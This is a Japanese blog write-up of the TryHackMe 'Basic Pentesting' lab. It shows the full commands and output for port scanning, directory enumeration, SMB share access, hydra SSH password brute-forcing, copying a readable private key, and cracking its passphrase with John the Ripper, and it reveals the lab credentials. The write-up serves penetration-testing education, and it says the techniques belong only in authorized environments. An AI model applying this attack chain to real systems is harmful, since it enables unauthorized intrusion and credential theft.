TryHackMe > Challenges > Basic Pentesting の部屋に取り組みました。学んだことをいろいろメモしておきます。
以下の手法やツールは、必ず許可された環境でのみ実行してください。
0. 主な問題(想定45min、実際10h)
- Q1. What is the name of the hidden directory on the web server(enter name without /)?
- Q2. What is the 1)username 2)password?
- Q3. What is the name of the other user you found(all lower case)?
- Q4. What is the final password you obtain?
攻撃用kali(Attackbox)を立ち上げたら、Start Machineを押して早速始めていきましょう!
1. 事前調査のポートスキャン(Reconnaissance)
まずは、ターゲットマシンのIPアドレスに対し、ポートスキャンを行います。
💻ポートスキャンとは
コンピュータの各ポートに対して通信を試みて、その返答から、ポートの開閉や、空いているポートで稼働しているサービスやバージョンを特定する行為のこと。攻撃者は、ポートスキャンにより、どこから侵入できるか、脆弱性のあるサービスが稼働していないかといった探りを入れる。対策としては、不要なポートを閉じたり、IDS(侵入検知システム)を導入したりすることが有効。一般にNmapのツールを使用する。
$ nmap <target-ip>を実行すると、
# nmap 10.201.123.241
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-04 07:06 UTC
Nmap scan report for ip-10-201-123-241.ec2.internal (10.201.123.241)
Host is up (0.0039s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
MAC Address: 16:FF:E7:5F:54:E9 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
また、Firefoxのブラウザでhttp://<target-ip>にアクセスします。
このメンテナンス中のWebサイトをハッキングしていきます!
2. Webディレクトリのブルートフォース(Enumeration)
次に、ターゲットマシンのWebサーバに対し、$ gobuster dir -u http://\<target-ip> -w <wordlists>を実行し、隠れたディレクトリやファイルを総当たりで検出します。
💣gobusterとは
Go言語で実装された、高速で軽量な、Webディレクトリ/ファイル探索(ブルートフォース)ツール。ディレクトリ探索ならdir、サブドメイン列挙ならdnsなど、さまざまなモードがある。
📕Wordlistsとは
ペンテストで使用される、既知の単語やフレーズを集めたファイル群。ブルートフォース攻撃や辞書攻撃では、実際にこれらのWordlistsを入力データとして、総当たりを行う。
今回は、以下のcommon.txtを用いる。
実行してみると、
# gobuster dir -u http://10.201.123.241 -w ../usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.201.123.241
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ../usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2025/09/04 07:48:27 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/development (Status: 301) [Size: 322] [--> http://10.201.123.241/development/]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 279]
Progress: 3803 / 4615 (82.41%)===============================================================
2025/09/04 07:48:27 Finished
===============================================================
Q1. What is the name of the hidden directory on the web server(enter name without /)?
🎉 A. development
隠れディレクトリが分かったので、ブラウザでhttp://<target-ip>/developmentにアクセスしてみます。色々なテキストファイルが見つかりますが、Q2の答え(username, password)は分かりません。
3. microsoft-dsサーバ(445番ポート)に注目
再びポートスキャンの結果に戻ります。
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
📍445番ポートはMicrosoft-DS用のウェルノウンポート
Microsoft-DS(Microsoft Directory Services)は、Windows環境でファイルやプリンタを共有するためのSMBプロトコルを使用している。
🔗smbclientコマンド
smbclientコマンドにより、Windowsの共有フォルダへの接続や操作、共有リソース一覧の問い合わせが可能。
ここで、接続可能な共有フォルダを取得すべく、$ smbclient -L //<target-ip> -Nを実行します。
-
-L: "このサーバにはどんな共有がある?"の問い合わせ -
-N: パスワードなしで実行
のオプションを使用しました。
# smbclient -L //10.201.123.241 -N
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
上の結果より、Anonymousの共有フォルダに接続してみます。
接続が完了したので、$ lsを行い
smb: \> ls
. D 0 Thu Apr 19 17:31:20 2018
.. D 0 Thu Apr 19 17:13:06 2018
staff.txt N 173 Thu Apr 19 17:29:55 2018
14282840 blocks of size 1024. 6044012 blocks available
staff.txtを見てみましょう。このとき、
🌐smbclient 内で使える主なコマンド
ls共有内のファイル・ディレクトリ一覧を表示
cd <ディレクトリ名>ディレクトリ移動
get <ファイル名>サーバから自分のマシンにファイルをダウンロード
put <ファイル名>自分のマシンからアップロード
exit / quit終了
に注意してください。$ get staff.txtでローカルに落としてから実行します。
Q2-1. What is the username?
🎉 A. Jan
Q3. What is the name of the other user you found(all lower case)?
🎉 A. Kay
4. パスワードの総当たり
先ほど得たユーザ名janを利用して、target-ipへのSSH接続を試みます。そのためにはパスワードが必要なのですが、ここで、
🐲hydraとは
ブルートフォースでパスワードをクラッキングするツール。HTTP(S), FTP, MySQL, SSH,...など多くのプロトコルに対応している。構文は、hydra <オプション> <ターゲット> <サービス>。
今回は、$ hydra -l <username> -P <wordlists> <target-ip> <service>で実行します(<service>://<target-ip>でも良い)。
# hydra -l jan -P ../usr/share/wordlists/rockyou.txt 10.201.123.241 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-04 09:19:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.201.123.241:22/
[STATUS] 120.00 tries/min, 120 tries in 00:01h, 14344282 to do in 1992:16h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 14344126 to do in 2598:35h, 13 active
[STATUS] 85.86 tries/min, 601 tries in 00:07h, 14343801 to do in 2784:26h, 13 active
[22][ssh] host: 10.201.123.241 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-04 09:28:37
Q2-2. What is the password?
🎉 A. armando
5. 権限昇格
先ほど得たパスワードを用いて、$ ssh jan@<target-ip>によりSSH接続に成功しました。janのホームディレクトリには何もないので、もう1人のkayのディレクトリを見てみると、
jan@ip-10-201-123-241:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 root root 4096 Sep 4 02:35 ..
-rw------- 1 kay kay 789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
ここから、権限昇格の方法を考えます。
🚩pass.bakの中にフラグがあるっぽい
しかしこのファイルは、
- 所有者:
kay - グループ:
kay - パーミッション:
-rw-------(所有者のみ読み書き可能)
であるのに対し、現在のユーザはwhoami → janなので、一筋縄ではいきません。
😈 じゃあ$ sudo suで良くね?(初心者)
と思いましたが、janはsudo権限を持たない一般ユーザー(=sudoersファイルに jan の権限が記載されていない)なので無理でした。他の昇格手段を考えます。
jan@ip-10-201-123-241:/home$ sudo -s
[sudo] password for jan:
jan is not in the sudoers file. This incident will be reported.
💥.sshディレクトリがdrwxr-xr-x(誰でも閲覧/実行ok)!?
🔑SSHの公開鍵認証方式
SSHの認証方式には、パスワード認証方式と、より安全な公開鍵認証方式がある。後者では、接続先サーバーに公開鍵、クライアントに秘密鍵を置くことで、$ ssh -i ~/.ssh/id_rsa <username>@<target-ip>で接続可能。
jan@ip-10-201-123-241:/home/kay$ ls -l .ssh
total 12
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
特に、kayとしてSSH接続する際に使用する秘密鍵id_rsaが-rw-r--r--(誰でも読める)になっています。この秘密鍵をローカルに持ち出し、今度はjanではなくkayとしてtarget-ipにSSH接続すれば、先ほどのpass.bakを実行できます!
💌リモートサーバーにあるファイルをローカルに落とすには
scpコマンドを使用する。構文は、scp <オプション> <ユーザ名>@<リモートサーバのIPアドレス>:<リモート側の送りたいファイルパス> <ローカル側の保存先ファイルパス>。
# scp jan@10.201.123.241:/home/kay/.ssh/id_rsa ~/kay_id_rsa
jan@10.201.123.241's password:
id_rsa 100% 3326 860.2KB/s 00:00
持ってこれました。このまま使用すると、SSH接続時にPermissions 0644 for '/root/kay_id_rsa' are too open.と言われてしまうので、$ chmod 600 ~/kay_id_rsaで、所有者だけが読める状態にします。
この秘密鍵を利用して、ユーザーkayでSSH接続を試みたところ、
# ssh -i ~/kay_id_rsa kay@10.201.123.241
Enter passphrase for key '/root/kay_id_rsa':
kay@10.201.123.241's password:
Permission denied, please try again.
😭😭😭はい。
SSHの秘密鍵のパスフレーズ(=秘密鍵を盗まれたときに勝手に使われないための追加ロック)が設定されてました泣。ここで公式のヒントを見てみると、
Hint
Hey,This is the hint you’re looking for: use john the ripper to bruteforce the passphrase
Let me know if you want any help.
とあるので、その使い方について調べてみました。
🧨John the Ripperとは
Openwall社が公開しているオープンソースのパスワードクラッキングツールで、パスワード強度のテストに利用される。パスワードのハッシュ値に対して使用し、辞書攻撃によりパスワードを解読できる。$ john --wordlist=/path/to/wordlist.txt hashes.txtのように使用する。
💨解読の仕組み
John the Ripperはハッシュ値を逆算して元に戻すのではなく(←ハッシュ関数の一方向性により不可能)、
- 辞書攻撃や総当たり攻撃に用いる、大量のパスフレーズ候補(wordlists)を用意
- その候補を同じハッシュ関数に通してハッシュ値を計算
- 計算したハッシュ値と、対象のハッシュ値を比較
- 一致すれば、その候補が正解
🤖WebサービスCrackStationとはちょっと違うらしい
こちらは、レインボーテーブル(=膨大な数のパスワード候補と、それに対応するハッシュ値の対応表)を用いて高速にハッシュ値を解読するオンラインツール。実際、このレインボーテーブル攻撃を回避するには、パスワードをそのままハッシュ化するのではなく、ソルト(=十分な長さのランダム文字列)を加えてハッシュ化すると良い。
使用ツールの概要は分かりましたが、秘密鍵?パスフレーズ??ハッシュ値???となったので一旦調べました。
🔒SSHの公開鍵認証におけるパスフレーズの存在
パスフレーズを設定すると、万が一秘密鍵が流出しても第三者が利用できなくなり、安全性が大きく向上する。仕組みとしては、秘密鍵の一部分が、パスフレーズにKDF関数を適用させたハッシュ値(=派生鍵)で暗号化されている。パスフレーズ付きの秘密鍵の内部は、大まかに
[ヘッダ情報] [KDFの種類, salt, iterationなど] [↑の派生鍵で暗号化された秘密鍵ブロック]
となっている(OpenSSHの場合)。
🧭KDFとは
鍵導出関数のこと(Kagi Doushutu Function?Key Derivation Function)。内部でハッシュ関数を何度も使ったり、メモリ消費を増やしたりして、安全な暗号鍵を生成する。
👨🔧結局Johnは何をする?
John the Ripperは候補パスワードをハッシュ化して照合してくれるもの。今回は単なるハッシュ値の比較にとどまらず、以下を繰り返して総当たり攻撃を行う。
- 候補パスフレーズをKDFに通して、派生鍵(=ハッシュ値)を生成
- その派生鍵で、秘密鍵の
[↑のハッシュ値を鍵として暗号化された秘密鍵ブロック]を復号- 復号結果が正しい秘密鍵構造をしていたら、パスフレーズ正解
※秘密鍵の復号+構造チェックは、JtRが標準でサポートしている機能。
総当たりするパスフレーズ候補にはrockyou.txtを使います。また、JtRはSSH秘密鍵のファイルを直接扱えないので、特定のハッシュ形式に変換する必要があります。ここで、JtRのサポートツールであるssh2johnを用いて、
# ssh2john kay_id_rsa > kay_hash.txt
を実行しました。ちなみに、このssh2johnによって
# cat kay_id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
...(中略)...
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
これが、
# cat kay_hash.txt
kay_id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d1940...
こうなりました。
🧩これはハッシュ値...?
kay_hash.txtはハッシュ値そのものではなく、JtRが試行する暗号化データのまとめ。JtRが$sshng$...の情報(暗号化方式、KDF情報、復号対象)を解析し、候補から派生鍵の生成→復号→構造チェックを繰り返す。
材料(kay_hash.txtおよびrockyou.txt)が揃ったところで、John🙋♂️に総当たり攻撃をしてもらいましょう!
普通にjohnコマンドを実行すると
# john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Command 'john' is available in the following places
* /sbin/john
* /usr/sbin/john
The command could not be located because '/sbin:/usr/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
john: command not found
と出るので、以下のように実行します。
# /sbin/john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay_id_rsa)
1g 0:00:00:00 DONE (2025-09-04 16:08) 5.882g/s 486682p/s 486682c/s 486682C/s behlat..bball40
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
出ました!!!SSH接続のパスフレーズはbeeswaxです。これを使って、target-ipにユーザーkayで接続してみましょう。
無事接続が完了しました!あとは、
$ ls -l
total 4
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
を実行して、
$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Q4. What is the final password you obtain?
🎉 A. heresareallystrongpasswordthatfollowsthepasswordpolicy$$
また、このパスワードを用いて、
権限昇格に成功です!お疲れさまでしたー!
6. まとめ
この部屋のポイントは、
- リモートアクセス系のSSH(22/tcp)やファイル共有系のSMB(445/tcp)が空いており、ユーザー名漏洩のリスク
- ユーザー名が分かれば、辞書攻撃でパスワードクラックが可能
- 秘密鍵のファイルパーミッションがガバガバ
のあたりでしょうか。脆弱な環境が与えられて、どこに注目すべきかとても難しいのですが、たくさんの新発見があり楽しかったです。
7. 参考文献
- ブルートフォースツール関連
- SSH関連
- その他







